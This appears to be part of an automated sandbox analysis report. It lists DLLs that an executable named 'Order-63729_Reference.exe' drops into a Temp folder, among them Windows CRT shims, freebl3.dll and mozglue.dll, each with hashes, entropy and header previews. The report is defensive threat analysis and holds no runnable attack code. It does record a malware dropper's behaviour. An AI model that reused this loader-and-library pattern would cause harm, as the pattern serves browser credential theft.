Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\182F14A9\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
